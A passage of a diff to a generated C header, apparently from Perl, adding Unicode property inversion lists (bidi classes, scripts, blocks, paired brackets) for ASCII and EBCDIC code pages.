+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB50,
+	0x10800,
+	0x1091F,
+	0x10920,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x10B39,
+	0x10B40,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1E800,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0x1EE00,
+	0x1EF00,
+	0x1F000
+};
+
+static const UV PL_BC__RLE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x202B,
+	0x202C
+};
+
+static const UV PL_BC__RLI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2067,
+	0x2068
+};
+
+static const UV PL_BC__RLO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x202E,
+	0x202F
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__S_invlist[] = { /* for ASCII/Latin1 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xA,
+	0xB,
+	0xC,
+	0x1F,
+	0x20
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__S_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xC,
+	0x1F,
+	0x20
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__S_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xC,
+	0x1F,
+	0x20
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__WS_invlist[] = { /* for ASCII/Latin1 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC,
+	0xD,
+	0x20,
+	0x21,
+	0x1680,
+	0x1681,
+	0x2000,
 	0x200B,
-	0x202F,
-	0x2030,
+	0x2028,
+	0x2029,
 	0x205F,
 	0x2060,
 	0x3000,
@@ -56295,140 +179680,3318 @@
 	0x3001
 };
 
-static const UV XPosixCntrl_invlist[] = { /* for EBCDIC 1047 */
-	4,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__WS_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xC,
+	0xD,
 	0x40,
-	0xFF,
-	0x100
+	0x41,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x2029,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
 };
 
-static const UV XPosixDigit_invlist[] = { /* for EBCDIC 1047 */
-	109,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__WS_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0xF0,
-	0xFA,
-	0x660,
-	0x66A,
-	0x6F0,
-	0x6FA,
-	0x7C0,
-	0x7CA,
+	0xC,
+	0xD,
+	0x40,
+	0x41,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x2029,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BENG_invlist[] = { /* for all charsets */
+	37,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
 	0x966,
-	0x970,
+	0x980,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
 	0x9E6,
-	0x9F0,
+	0x9FE,
+	0x1CF7,
+	0x1CF8,
+	0xA8F1,
+	0xA8F2
+};
+
+static const UV PL_BHKS_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D
+};
+
+static const UV PL_BIDIC_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61C,
+	0x61D,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2066,
+	0x206A
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BIDIM_invlist[] = { /* for ASCII/Latin1 */
+	223,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x28,
+	0x2A,
+	0x3C,
+	0x3D,
+	0x3E,
+	0x3F,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x7B,
+	0x7C,
+	0x7D,
+	0x7E,
+	0xAB,
+	0xAC,
+	0xBB,
+	0xBC,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2140,
+	0x2141,
+	0x2201,
+	0x2205,
+	0x2208,
+	0x220E,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2217,
+	0x221A,
+	0x221E,
+	0x221F,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222B,
+	0x2234,
+	0x2239,
+	0x223A,
+	0x223B,
+	0x224D,
+	0x2252,
+	0x2256,
+	0x225F,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x2264,
+	0x226C,
+	0x226E,
+	0x228D,
+	0x228F,
+	0x2293,
+	0x2298,
+	0x2299,
+	0x22A2,
+	0x22A4,
+	0x22A6,
+	0x22B9,
+	0x22BE,
+	0x22C0,
+	0x22C9,
+	0x22CE,
+	0x22D0,
+	0x22D2,
+	0x22D6,
+	0x22EE,
+	0x22F0,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C0,
+	0x27C1,
+	0x27C3,
+	0x27C7,
+	0x27C8,
+	0x27CA,
+	0x27CB,
+	0x27CE,
+	0x27D3,
+	0x27D7,
+	0x27DC,
+	0x27DF,
+	0x27E2,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x299B,
+	0x29B0,
+	0x29B8,
+	0x29B9,
+	0x29C0,
+	0x29C6,
+	0x29C9,
+	0x29CA,
+	0x29CE,
+	0x29D3,
+	0x29D4,
+	0x29D6,
+	0x29D8,
+	0x29DD,
+	0x29E1,
+	0x29E2,
+	0x29E3,
+	0x29E6,
+	0x29E8,
+	0x29EA,
+	0x29F4,
+	0x29FA,
+	0x29FC,
+	0x29FE,
+	0x2A0A,
+	0x2A1D,
+	0x2A1E,
+	0x2A22,
+	0x2A24,
+	0x2A25,
+	0x2A26,
+	0x2A27,
+	0x2A29,
+	0x2A2A,
+	0x2A2B,
+	0x2A2F,
+	0x2A34,
+	0x2A36,
+	0x2A3C,
+	0x2A3F,
+	0x2A57,
+	0x2A59,
+	0x2A64,
+	0x2A66,
+	0x2A6A,
+	0x2A6E,
+	0x2A6F,
+	0x2A71,
+	0x2A73,
+	0x2A75,
+	0x2A79,
+	0x2AA4,
+	0x2AA6,
+	0x2AAE,
+	0x2AAF,
+	0x2AD7,
+	0x2ADC,
+	0x2ADD,
+	0x2ADE,
+	0x2ADF,
+	0x2AE2,
+	0x2AE7,
+	0x2AEC,
+	0x2AEF,
+	0x2AF3,
+	0x2AF4,
+	0x2AF7,
+	0x2AFC,
+	0x2AFD,
+	0x2AFE,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFE64,
+	0xFE66,
+	0xFF08,
+	0xFF0A,
+	0xFF1C,
+	0xFF1D,
+	0xFF1E,
+	0xFF1F,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BIDIM_invlist[] = { /* for EBCDIC 1047 */
+	221,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4E,
+	0x5D,
+	0x5E,
+	0x6E,
+	0x6F,
+	0x8A,
+	0x8C,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2140,
+	0x2141,
+	0x2201,
+	0x2205,
+	0x2208,
+	0x220E,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2217,
+	0x221A,
+	0x221E,
+	0x221F,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222B,
+	0x2234,
+	0x2239,
+	0x223A,
+	0x223B,
+	0x224D,
+	0x2252,
+	0x2256,
+	0x225F,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x2264,
+	0x226C,
+	0x226E,
+	0x228D,
+	0x228F,
+	0x2293,
+	0x2298,
+	0x2299,
+	0x22A2,
+	0x22A4,
+	0x22A6,
+	0x22B9,
+	0x22BE,
+	0x22C0,
+	0x22C9,
+	0x22CE,
+	0x22D0,
+	0x22D2,
+	0x22D6,
+	0x22EE,
+	0x22F0,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C0,
+	0x27C1,
+	0x27C3,
+	0x27C7,
+	0x27C8,
+	0x27CA,
+	0x27CB,
+	0x27CE,
+	0x27D3,
+	0x27D7,
+	0x27DC,
+	0x27DF,
+	0x27E2,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x299B,
+	0x29B0,
+	0x29B8,
+	0x29B9,
+	0x29C0,
+	0x29C6,
+	0x29C9,
+	0x29CA,
+	0x29CE,
+	0x29D3,
+	0x29D4,
+	0x29D6,
+	0x29D8,
+	0x29DD,
+	0x29E1,
+	0x29E2,
+	0x29E3,
+	0x29E6,
+	0x29E8,
+	0x29EA,
+	0x29F4,
+	0x29FA,
+	0x29FC,
+	0x29FE,
+	0x2A0A,
+	0x2A1D,
+	0x2A1E,
+	0x2A22,
+	0x2A24,
+	0x2A25,
+	0x2A26,
+	0x2A27,
+	0x2A29,
+	0x2A2A,
+	0x2A2B,
+	0x2A2F,
+	0x2A34,
+	0x2A36,
+	0x2A3C,
+	0x2A3F,
+	0x2A57,
+	0x2A59,
+	0x2A64,
+	0x2A66,
+	0x2A6A,
+	0x2A6E,
+	0x2A6F,
+	0x2A71,
+	0x2A73,
+	0x2A75,
+	0x2A79,
+	0x2AA4,
+	0x2AA6,
+	0x2AAE,
+	0x2AAF,
+	0x2AD7,
+	0x2ADC,
+	0x2ADD,
+	0x2ADE,
+	0x2ADF,
+	0x2AE2,
+	0x2AE7,
+	0x2AEC,
+	0x2AEF,
+	0x2AF3,
+	0x2AF4,
+	0x2AF7,
+	0x2AFC,
+	0x2AFD,
+	0x2AFE,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFE64,
+	0xFE66,
+	0xFF08,
+	0xFF0A,
+	0xFF1C,
+	0xFF1D,
+	0xFF1E,
+	0xFF1F,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BIDIM_invlist[] = { /* for EBCDIC 037 */
+	219,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4C,
+	0x4E,
+	0x5D,
+	0x5E,
+	0x6E,
+	0x6F,
+	0x8A,
+	0x8C,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xF3A,
+	0xF3E,
+	0x169B,
+	0x169D,
+	0x2039,
+	0x203B,
+	0x2045,
+	0x2047,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2140,
+	0x2141,
+	0x2201,
+	0x2205,
+	0x2208,
+	0x220E,
+	0x2211,
+	0x2212,
+	0x2215,
+	0x2217,
+	0x221A,
+	0x221E,
+	0x221F,
+	0x2223,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x222B,
+	0x2234,
+	0x2239,
+	0x223A,
+	0x223B,
+	0x224D,
+	0x2252,
+	0x2256,
+	0x225F,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x2264,
+	0x226C,
+	0x226E,
+	0x228D,
+	0x228F,
+	0x2293,
+	0x2298,
+	0x2299,
+	0x22A2,
+	0x22A4,
+	0x22A6,
+	0x22B9,
+	0x22BE,
+	0x22C0,
+	0x22C9,
+	0x22CE,
+	0x22D0,
+	0x22D2,
+	0x22D6,
+	0x22EE,
+	0x22F0,
+	0x2300,
+	0x2308,
+	0x230C,
+	0x2320,
+	0x2322,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C0,
+	0x27C1,
+	0x27C3,
+	0x27C7,
+	0x27C8,
+	0x27CA,
+	0x27CB,
+	0x27CE,
+	0x27D3,
+	0x27D7,
+	0x27DC,
+	0x27DF,
+	0x27E2,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x299B,
+	0x29B0,
+	0x29B8,
+	0x29B9,
+	0x29C0,
+	0x29C6,
+	0x29C9,
+	0x29CA,
+	0x29CE,
+	0x29D3,
+	0x29D4,
+	0x29D6,
+	0x29D8,
+	0x29DD,
+	0x29E1,
+	0x29E2,
+	0x29E3,
+	0x29E6,
+	0x29E8,
+	0x29EA,
+	0x29F4,
+	0x29FA,
+	0x29FC,
+	0x29FE,
+	0x2A0A,
+	0x2A1D,
+	0x2A1E,
+	0x2A22,
+	0x2A24,
+	0x2A25,
+	0x2A26,
+	0x2A27,
+	0x2A29,
+	0x2A2A,
+	0x2A2B,
+	0x2A2F,
+	0x2A34,
+	0x2A36,
+	0x2A3C,
+	0x2A3F,
+	0x2A57,
+	0x2A59,
+	0x2A64,
+	0x2A66,
+	0x2A6A,
+	0x2A6E,
+	0x2A6F,
+	0x2A71,
+	0x2A73,
+	0x2A75,
+	0x2A79,
+	0x2AA4,
+	0x2AA6,
+	0x2AAE,
+	0x2AAF,
+	0x2AD7,
+	0x2ADC,
+	0x2ADD,
+	0x2ADE,
+	0x2ADF,
+	0x2AE2,
+	0x2AE7,
+	0x2AEC,
+	0x2AEF,
+	0x2AF3,
+	0x2AF4,
+	0x2AF7,
+	0x2AFC,
+	0x2AFD,
+	0x2AFE,
+	0x2E02,
+	0x2E06,
+	0x2E09,
+	0x2E0B,
+	0x2E0C,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0xFE59,
+	0xFE5F,
+	0xFE64,
+	0xFE66,
+	0xFF08,
+	0xFF0A,
+	0xFF1C,
+	0xFF1D,
+	0xFF1E,
+	0xFF1F,
+	0xFF3B,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF61,
+	0xFF62,
+	0xFF64,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BLOCKELEMENTS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2580,
+	0x25A0
+};
+
+static const UV PL_BOPO_invlist[] = { /* for all charsets */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2EA,
+	0x2EC,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3037,
+	0x3038,
+	0x30FB,
+	0x30FC,
+	0x3105,
+	0x312F,
+	0x31A0,
+	0x31BB,
+	0xFE45,
+	0xFE47,
+	0xFF61,
+	0xFF66
+};
+
+static const UV PL_BOPOMOFOEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x31A0,
+	0x31C0
+};
+
+static const UV PL_BOXDRAWING_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2500,
+	0x2580
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BPT__C_invlist[] = { /* for ASCII/Latin1 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x29,
+	0x2A,
+	0x5D,
+	0x5E,
+	0x7D,
+	0x7E,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__C_invlist[] = { /* for EBCDIC 1047 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBD,
+	0xBE,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BPT__C_invlist[] = { /* for EBCDIC 037 */
+	121,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5D,
+	0x5E,
+	0xBB,
+	0xBC,
+	0xD0,
+	0xD1,
+	0xF3B,
+	0xF3C,
+	0xF3D,
+	0xF3E,
+	0x169C,
+	0x169D,
+	0x2046,
+	0x2047,
+	0x207E,
+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF61,
+	0xFF63,
+	0xFF64
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BPT__N_invlist[] = { /* for ASCII/Latin1 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x28,
+	0x2A,
+	0x5B,
+	0x5C,
+	0x5D,
+	0x5E,
+	0x7B,
+	0x7C,
+	0x7D,
